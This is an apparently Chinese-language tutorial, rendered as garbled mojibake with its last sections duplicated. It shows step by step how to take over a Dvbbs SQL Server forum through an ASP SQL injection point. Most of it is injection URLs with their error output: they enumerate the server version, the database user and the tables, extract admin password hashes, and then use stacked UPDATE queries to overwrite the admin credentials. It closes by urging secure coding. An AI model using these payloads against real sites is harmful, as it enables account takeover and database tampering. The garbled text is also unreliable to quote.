¶¯Íø bbs8.3 sql£¬¶¯ÍøSQL°æ-²»µÃ²»ËµµÄÎÊÌâ

¶¯ÍøSQL°æ-²»µÃ²»ËµµÄÎÊÌâ - ÍøÂ簲ȫ - µçÄԽ̳ÌÍø

¶¯ÍøSQL°æ-²»µÃ²»ËµµÄÎÊÌâ

ÈÕÆÚ£º2006-08-25   ¼ö£º
ÏÖÔÚ¶¯Íø×îа汾ÊÇ7.0+SP2¡£Ó¦¸Ã˵°²È«ÐÔÒѾ­ÊǺܸߵÄÁË¡£ËùÒԴӽű¾±¾ÉíµÄÎÊÌâȥͻÆÆËüÄѶȲ»Ð¡¡£µ«ÊÇÎÒÃÇ¿ÉÒÔ´ÓÍⲿµÄһЩ;¾¶¼ä½Ó¡°¸ã¶¨¡±¶¯Íø.ÏÖÔÚIIS+ASP+SQL2000µÄ×éºÏÊDZȽϳ£¼ûµÄ¡£¶øÒ»¸öÍøÕ¾ÔËÓôóÁ¿µÄASP½Å±¾³ÌÐò£¬ÄÑÃâ²»³öç¢Â©¡£Èç¹ûһ̨Ö÷»úÉÏ´æÔÚij¸öSQL×¢Èëµã£¬¶øÕą̂Ö÷»úÓÖ°²×°Óж¯ÍøSQL°æµÄ»°£¬»ù±¾ÉÏ¿ÉÒԵóö½áÂÛ£ºÕâ¸ö¶¯Íø¾ÍÊÇÄãµÄÁË¡£ÏÂÃæÀ´¿´Ò»ÏÂʵÀý¡£

Ò»¡¢ Ê×ÏÈÈ·¶¨Ä¿±ê¡£¼ÙÉèÒÔÏÂURL´æÔÚSQL×¢È룺
http://www.loveyou.com/type.asp?id=6 ²âÊÔÄÜ·ñ×¢Èë¿ÉÒÔÔÚ6ºóÃæ¼Ó¸öµ¥ÒýºÅ¡£
http://www.loveyou.com/type.aspid=6' ·µ»Ø´íÎóÌáʾ£º
Microsoft OLE DB Provider for ODBC Drivers ´íÎó '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]×Ö·û´® '' ֮ǰÓÐδ±ÕºÏµÄÒýºÅ¡£
¼ÌÐø£¬ÏÈ̽²âÒ»ÏÂϵͳ°æ±¾£º
http://www.loveyou.com/type.asp?id=(select @@version)--

·µ»Ø£º Microsoft OLE DB Provider for ODBC Drivers ´íÎó '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]½« nvarchar Öµ 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' ת»»ÎªÊý¾ÝÀàÐÍΪ int µÄÁÐʱ·¢ÉúÓï·¨´íÎó¡£
¿´À´ÒѾ­´òÉÏ×îеÄSP4²¹¶¡¡£

È¡µÃµ±Ç°Á¬½ÓÊý¾Ý¿âÓû§£º
http://www.loveyou.com/type.asp?id=(select user_name())--

[1] [2] [3] [4] [5] [6] [7]  


·µ»Ø£ºMicrosoft OLE DB Provider for ODBC Drivers ´íÎó '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]½« nvarchar Öµ 'webuser' ת»»ÎªÊý¾ÝÀàÐÍΪ int µÄÁÐʱ·¢ÉúÓï·¨´íÎó¡£
´Ó´íÎóÐÅÏ¢Öеõ½µ±Ç°Êý¾Ý¿âÓû§Îª£ºwebuser

È¡µÃµ±Ç°Á¬½ÓÊý¾Ý¿âÃû£º
http://www.loveyou.com/type.asp?id=(select db_name())--

·µ»Ø£ºMicrosoft OLE DB Provider for ODBC Drivers ´íÎó '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]½« nvarchar Öµ '01city' ת»»ÎªÊý¾ÝÀàÐÍΪ int µÄÁÐʱ·¢ÉúÓï·¨´íÎó¡£
´Ó´íÎóÐÅÏ¢Öеõ½µ±Ç°Êý¾Ý¿âÃûΪ£º 01city

½ÓÏÂÀ´²âÊÔÏÂȨÏÞ£º£¨×¢£ºÒòΪÎÒÃǵÄÄ¿µÄÊǸ㶨¶¯Íø¶ø²»ÊÇÇÖռϵͳ¡£ËùÒÔÊý¾Ý¿âȨÏÞ¶ÔÎÒÃDz»ÊǺÜÖØÒª¡££©
http://www.loveyou.com/type.asp?id=(select IS_SRVROLEMEMBER('sysadmin'))--
·µ»Ø´íÎóÐÅÏ¢¡£Ìáʾµ±Ç°¼Ç¼ÒÑɾ³ý¡£¿´À´È¨ÏÞ¹ûÈ»²»ÊǺܸßÒ®¡£¼ÌÐø£¬
http://www.loveyou.com/type.asp?id=(select%20IS_MEMBER('db_owner'))--

 [1] [2] [3] [4] [5] [6] [7]  

Õý³£ÏÔʾÐÅÏ¢£¬¿´À´Á¬½ÓÊý¾Ý¿âÓµÓеÄȨÏÞÊÇDB_OWNER(DOWNÊý¾Ý¿âËùÓÐÕß¡£µ«¶Ô²Ù×ÝÊý¾ÝÊǴ´ÂÓÐÓàÁË¡£

¶þ.µÃµ½Êý¾Ý¿â±íÃû¡£²»³öÒâÍâµÄ»°¶¯ÍøµÄ¸÷¸ö±í¾Í´æÔÚÓÚµ±Ç°Êý¾Ý¿â01cityÖС£
Ê×Ïȵõ½µÚÒ»¸ö±í
£º
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in(''))--
·µ»Ø£º[Microsoft][ODBC SQL Server Driver][SQL Server]½« nvarchar Öµ 'address' ת»»ÎªÊý¾ÝÀàÐÍΪ int µÄÁÐʱ·¢ÉúÓï·¨´íÎó¡£
ºÃµÄ£¬µÚÒ»¸ö±íÃû³öÀ´ÁË£¬Îª£º address
¼ÌÐø£¬
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in('address'))--
·µ»Ø£º admin µÚ¶þ¸ö±íÃûÒ²³öÀ´ÁË¡£ÒÀ´ÎÀàÍÆ£¬ Ìá½»£º
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in('address'£¬'admin',...))--

 [1] [2] [3] [4] [5] [6] [7]  

¿ÉÒԵõ½µ±Ç°Êý¾Ý¿âÖÐËùÓбíÃû¡£
²»Ò»»á¶ù£¬½á¹û³öÀ´ÁË£¬ ±íÃûºÃÑÛÊì°¡¡£
"address","admin","bbslink","bbsnews","board","user".........ɵ¹Ï¶¼¿´µÄ³öÕâÊǶ¯ÍøµÄ±í¡£µ±È»»¹ÓÐÆäËüµÄһЩ±í£¬ÎÒÃDz»È¥¹ÜËü¡£
½ÓÏÂÀ´¾ÍºÃ°ìÁË£¬Ò²²»ÒªÈ¥²Â×Ö¶ÎÁË£¬ÎÒÃÇ´ò¿ª×Ô¼ºµÄ¶¯ÍøÊý¾Ý¿â¿´Ò»Ï¾ÍÖªµÀÁË¡£ ¼ÈÈ»ÓÐÁ˱íÃû£¬×Ö¶ÎÃû£¬ÄÇô£¬¶¯Íø²»¾ÍÔÚÄãÕÆÎÕÖ®ÏÂÁËÂ𣿠µ«Ç§Íò²»Òª drop table°¡¡£ ÆÆ»µ¾Í²»ºÃÁË¡£ÎÒÃǵÄÄ¿µÄÊÇÑÝÁ·¼¼Êõ£¬Ìá¸ßˮƽ¡£ ºÃ£¬ÄÇô£¬ÎÒÃÇÈ¥µÃµ½¶¯ÍøµÄºǫ́¡£

Èý¡¢½øÈëºǫ́£¬È¡µÃ¶¯ÍøÂÛ̳¹ÜÀíԱȨÏÞ¡£
ÏÈ¿´¿´ºǫ́ÓжàÉÙ¸ö¹ÜÀíÔ±£º
http://www.loveyou.com/type.asp?id=6 and 4=(select count(username) from admin)--
·µ»Ø´íÎó£º µ±Ç°µÄ¼Ç¼Òѱ»É¾³ý¡£ËµÃ÷¹ÜÀíÔ±ÉÙÓÚ4λ¡£Ö±½ÓÌá½»£¬
http://www.loveyou.com/type.asp?id=6 and 1=(select count(username) from admin)--
Õý³£ÏÔʾÐÅÏ¢£¬¿´À´¹ÜÀíÔ±Ö»ÓÐÒ»¸ö£¬¶Á³ö¹ÜÀíÔ±Ãû×Ö£¬
http://www.loveyou.com/type.asp?id=(select username from admin)--
³öÀ´ÁË£¬¹ÜÀíÔ±ºǫ́µÇ½ÃûΪ£º 01city
¼ÌÐø¶Á³ö¹ÜÀíÔ±ºǫ́µÇ½ÃÜÂ룺
http://www.loveyou.com/type.asp?id=(select passWord from admin)--

 [1] [2] [3] [4] [5] [6] [7]  

ºÜ˳Àû£¬ÃÜÂëΪ£º e7cc01be0e33a273
ÊÇMD5¼ÓÃܹýµÄ¡£ÄѵÀҪȥÆƽâËüÂ𣿠±ð¼±£¬¸ù±¾²»ÐèҪȥÆÆMD5ÃÜÂë¡£
ÓÉÓÚ¶¯Íøºǫ́¹ÜÀíÊÇCOOKIE+SESSIONÈÏÖ¤¡£ËùÒÔÖ»ÓйÜÀíÔ±ÔÚǰ̨µÇ½²Å¿ÉÒÔ½øºǫ́¹ÜÀí£¬Ò»°ãÓû§ÊÇÎÞ·¨½øºǫ́¹ÜÀíµÄ¡£¼´Ê¹ºǫ́Óû§ºÍÃÜÂ붼֪µÀµÄÇé¿öÏÂÒ²Ò»Ñù¡£ËùÒÔÎÒÃÇ»¹ÒªÈ¡µÃǰ̨¹ÜÀíµÄÓû§ºÍÃÜÂë¡£ Õâ¸öºÜÈÝÒ×£¬ÔÚËûÂÛ̳ע²áÒ»¸öÓû§²é¿´Ò»Ï¹ÜÀíÍŶӣ¬µÃ³ö£¬Ç°Ì¨¹ÜÀíÓû§Îª£º admin

ºÃ£¬µÃµ½ËûµÄÃÜÂ룺
http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
·µ»Ø£¬adminµÄǰ̨ÃÜÂëΪ£ºe7cc01be0e33a273
ͬÑùÊÇMD5µÄ¡£ ÏÖÔÚÀûÓÃCOOKIEÆÛÆ­¿ÉÒԵǽËüµÄǰ̨¹ÜÀíÁË¡£µ«ÊÇ»¹ÓбðµÄ°ì·¨Â𣿱ðÍüÁËÏÖÔÚÎÒÃÇ¿ÉÊǶÔËüµÄÊý¾Ý¿âÓµÓÐÉúɱ´óȨŶ¡£´ÏÃ÷µÄÄã¿ÉÄÜÏëµ½ÁË£¬¶Ô £¬¾ÍÊÇ£¬update¡£ ÎÒÃÇÀ´Ìá½»£º
http://www.loveyou.com/type.asp?id=6;update user set userpassword='49ba59abbe56e057' where username='admin'£»--
Õý³£·µ»ØÐÅÏ¢£¬Ó¦¸Ã³É¹¦Ö´ÐÐÁË£¬²é¿´Ò»Ï£º
http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--

 [1] [2] [3] [4] [5] [6] [7]  

·µ»ØֵΪ£º 49ba59abbe56e057
¸ü¸ÄÃÜÂë³É¹¦£¬ËµÃ÷һϣ¬Õâ¸ö16λMD5ÊÇÔ¤ÏÈËãºÃµÄ¡£ÄãÒªÖªµÀËüµÄÃ÷ÎÄÃÜÂë¡£
ÄÇôͬÑùµÄ£¬ÎÒÃǸü¸ÄһϺǫ́µÄ¹ÜÀíÃÜÂë.ÏȰѺǫ́Óû§¸Ä³ÉºÍǰ̨Óû§Ò»ÑùµÄ£¬Ìá½»£º
http://www.loveyou.com/type.asp?id=6;update admin set username='admin' where username='01city'--
²é¿´Ò»Ï£º
http://www.loveyou.com/type.asp?id=(select username from admin)--
¸ü¸Ä³É¹¦£¬ºǫ́¹ÜÀíÔ±ÏÖÔÚÒѱä³É£ºadmin ½ÓÏÂÀ´¸ü¸ÄÃÜÂ룬Ìá½»£º
http://www.loveyou.com/type.asp?id=6;update admin set password='49ba59abbe56e057' where username='admin'--
²é¿´Ò»Ï£º
http://www.loveyou.com/type.asp?id=(select password from admin)--
¸ü¸Ä³É¹¦£¬ºǫ́¹ÜÀíÔ±ÃÜÂëÒѾ­±ä³É£º49ba59abbe56e057

µ½ÕâÀïΪֹ£¬¶¯ÍøÒѳ¹µ×ÂÙÏÝ¡£Äã¿ÉÒÔÓÃadminµÇ½ǰ̨ȻºóÔÙÓÃÏàͬµÄÃÜÂë½øºǫ́¹ÜÀíÁË¡£

ËÄ¡¢×ܽá
¾ÍÕâÑù²¢²»ËãÌ«¼èÄѵÄʵÏÖÁ˶Զ¯ÍøµÄ¿ØÖÆ¡£Í¨¹ýÕâ´ÎÉÆÒâµÄÉø͸²âÊÔ£¬Ò²±©Â¶³öSQL INJECTION¹¥»÷µÄ¿ÉÅÂÐÔ¡£¶ø¶ÔÓÚIIS+ASP+SQL2000µÄÐéÄâÖ÷»úÀ´Ëµ¼òÖ±¾ÍÊÇ·À²»Ê¤·À¡£Ö»ÒªÖ÷»úÉÏÓÐÒ»¸öSQL×¢ÈëµãµÄ»°£¬¶¯Íø¾Í½«ÃæÁÙÃð¶¥Ö®ÔÖÁË¡£¶øÆäʵ´Ó·þÎñÆ÷ÅÓ´óµÄÍøÕ¾³ÌÐòÖÐÕÒÒ»¸öÕâÑùµÄSQL×¢Èëµã²¢²»ËãÄÑÊÂ.ÕýÓ¦Õ÷ÁËÒ»¾äÀÏ»°£ºÇ§ÀïÖ®µÌ£¬À£ÓÚÒÏѨ¡£ËùÒÔ·À·¶ÕâÑùµÄ¹¥»÷µÄ×îºÃ°ì·¨ÊǼÓÇ¿³ÌÐò´úÂëµÄ°²È«ÐÔ¡£°²È«ÊǸöÕûÌ壬ÈκÎϸ΢µÄ´íÎó¶¼ÓпÉÄܵ¼ÖÂÑÏÖغó¹û¡£

 [1] [2] [3] [4] [5] [6] [7]  

£¨³ö´¦£ºhttp://www.sheup.com£©


 [1] [2] [3] [4] [5] [6] [7] 

http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
·µ»ØֵΪ£º 49ba59abbe56e057
¸ü¸ÄÃÜÂë³É¹¦£¬ËµÃ÷һϣ¬Õâ¸ö16λMD5ÊÇÔ¤ÏÈËãºÃµÄ¡£ÄãÒªÖªµÀËüµÄÃ÷ÎÄÃÜÂë¡£
ÄÇôͬÑùµÄ£¬ÎÒÃǸü¸ÄһϺǫ́µÄ¹ÜÀíÃÜÂë.ÏȰѺǫ́Óû§¸Ä³ÉºÍǰ̨Óû§Ò»ÑùµÄ£¬Ìá½»£º
http://www.loveyou.com/type.asp?id=6;update admin set username='admin' where username='01city'--
²é¿´Ò»Ï£º
http://www.loveyou.com/type.asp?id=(select username from admin)--

 [1] [2] [3] [4] [5] [6] [7] [8] [9]  

¸ü¸Ä³É¹¦£¬ºǫ́¹ÜÀíÔ±ÏÖÔÚÒѱä³É£ºadmin ½ÓÏÂÀ´¸ü¸ÄÃÜÂ룬Ìá½»£º
http://www.loveyou.com/type.asp?id=6;update admin set password='49ba59abbe56e057' where username='admin'--
²é¿´Ò»Ï£º
http://www.loveyou.com/type.asp?id=(select password from admin)--
¸ü¸Ä³É¹¦£¬ºǫ́¹ÜÀíÔ±ÃÜÂëÒѾ­±ä³É£º49ba59abbe56e057

µ½ÕâÀïΪֹ£¬¶¯ÍøÒѳ¹µ×ÂÙÏÝ¡£Äã¿ÉÒÔÓÃadminµÇ½ǰ̨ȻºóÔÙÓÃÏàͬµÄÃÜÂë½øºǫ́¹ÜÀíÁË¡£

ËÄ¡¢×ܽá
¾ÍÕâÑù²¢²»ËãÌ«¼èÄѵÄʵÏÖÁ˶Զ¯ÍøµÄ¿ØÖÆ¡£Í¨¹ýÕâ´ÎÉÆÒâµÄÉø͸²âÊÔ£¬Ò²±©Â¶³öSQL INJECTION¹¥»÷µÄ¿ÉÅÂÐÔ¡£¶ø¶ÔÓÚIIS+ASP+SQL2000µÄÐéÄâÖ÷»úÀ´Ëµ¼òÖ±¾ÍÊÇ·À²»Ê¤·À¡£Ö»ÒªÖ÷»úÉÏÓÐÒ»¸öSQL×¢ÈëµãµÄ»°£¬¶¯Íø¾Í½«ÃæÁÙÃð¶¥Ö®ÔÖÁË¡£¶øÆäʵ´Ó·þÎñÆ÷ÅÓ´óµÄÍøÕ¾³ÌÐòÖÐÕÒÒ»¸öÕâÑùµÄSQL×¢Èëµã²¢²»ËãÄÑÊÂ.ÕýÓ¦Õ÷ÁËÒ»¾äÀÏ»°£ºÇ§ÀïÖ®µÌ£¬À£ÓÚÒÏѨ¡£ËùÒÔ·À·¶ÕâÑùµÄ¹¥»÷µÄ×îºÃ°ì·¨ÊǼÓÇ¿³ÌÐò´úÂëµÄ°²È«ÐÔ¡£°²È«ÊǸöÕûÌ壬ÈκÎϸ΢µÄ´íÎó¶¼ÓпÉÄܵ¼ÖÂÑÏÖغó¹û¡£

£¨³ö´¦£ºhttp://www.sheup.com£©


 [1] [2] [3] [4] [5] [6] [7] [8] [9] 

±êÇ©£º